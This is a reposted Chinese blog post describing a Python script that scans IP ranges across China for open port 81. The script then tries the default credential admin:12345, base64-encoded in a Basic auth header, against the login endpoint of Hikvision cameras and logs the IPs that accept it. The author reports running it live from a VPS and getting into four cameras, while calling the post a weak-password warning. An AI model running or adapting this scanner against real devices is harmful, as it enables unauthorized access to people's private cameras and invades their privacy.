扫描全国的ip并识别摄像头

来源:互联网 发布:电脑同时安装软件 编辑:程序博客网 时间:2024/06/06 00:39


文章来源地址(获取源代码请访问):http://www.xujh.top/2017/10/09/40/

随着网络的迅速发展,现在物联网是个潮流,许多人的家中都装了网络摄像头,这种摄像头可以用ip远程访问并监控,自从前几年海康威视的弱密码漏洞的爆出,摄像头的安全性成了热门话题,因此,我将在这篇文章中模拟用弱密码登陆海康威视的管理界面,来一波模拟攻击,为了提醒大家的是,弱密码的危害很大,无论什么服务,大家如果还用弱密码的话就请赶快修改吧,因为你的隐私很同容易暴露。

好了,现在进入正题

目的

  • 扫描全国的ip,自动识别有海康威视后台管理界面的ip
  • 自动用弱密码模拟登陆后台管理界面
  • 记录使用弱密码的ip

步骤

获得全国所有的ip,这一步可以通过百度。

扫描ip的81端口,若打开,则使用弱密码模拟登陆一下

扫描81端口,判断是否打开

def scan(ip):    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)    s.settimeout(1)    try:        result = s.connect_ex((ip, port))        if result == 0:            exploit(ip)        else:            pass        s.close()    except socket.error as e:        s.close()        print e

若打开,则模拟登陆

def exploit(ip):    url = 'http://' + ip + ':' + str(port)    userpwd = 'Basic YWRtaW46MTIzNDU='     headers = {        'X-Requested-With': 'XMLHttpRequest',        'Refer': url + '/doc/page/login.asp',        'If-Modified-Since': "0",        "Authorization": userpwd    }    try:        r = requests.get(url=url + '/ISAPI/Security/userCheck', headers=headers, timeout=5)        if r.status_code == 200 and r.text.find('OK') != -1:            logging.critical('{b8c66bcbce874cbcdfdaa03ff0f908635b9ef0379cd01189ad5fe3f67980b247}s : succeed' {b8c66bcbce874cbcdfdaa03ff0f908635b9ef0379cd01189ad5fe3f67980b247} ip)            return True        else:            return False    except Exception, e:        return False

总结

就是这么简单,一个扫描全国ip并验证摄像头的简单脚本已经写好了,后期需要改进的就是这个脚本的性能了,这个脚本现在在cloudflexy这家垃圾主机商的vps上跑着,这里讲个插曲:我刚开始开的线程为1000,导致商家直接判定为a dos attack,后来,发了工单,将线程数调整到100才没被强制关机器。
截至我写这篇文章的时候,只有4个ip被成功登陆


没办法,这家机器太垃圾了,线程只能开这么大,得扫个几天才能扫完吧。
代码写得比较烂,并且这篇文章旨在揭示弱密码的危害,并不是想去攻击什么,所以代码就不全放上来了。


文章来源地址(获取源代码请访问):http://www.xujh.top/2017/10/09/40/


原创粉丝点击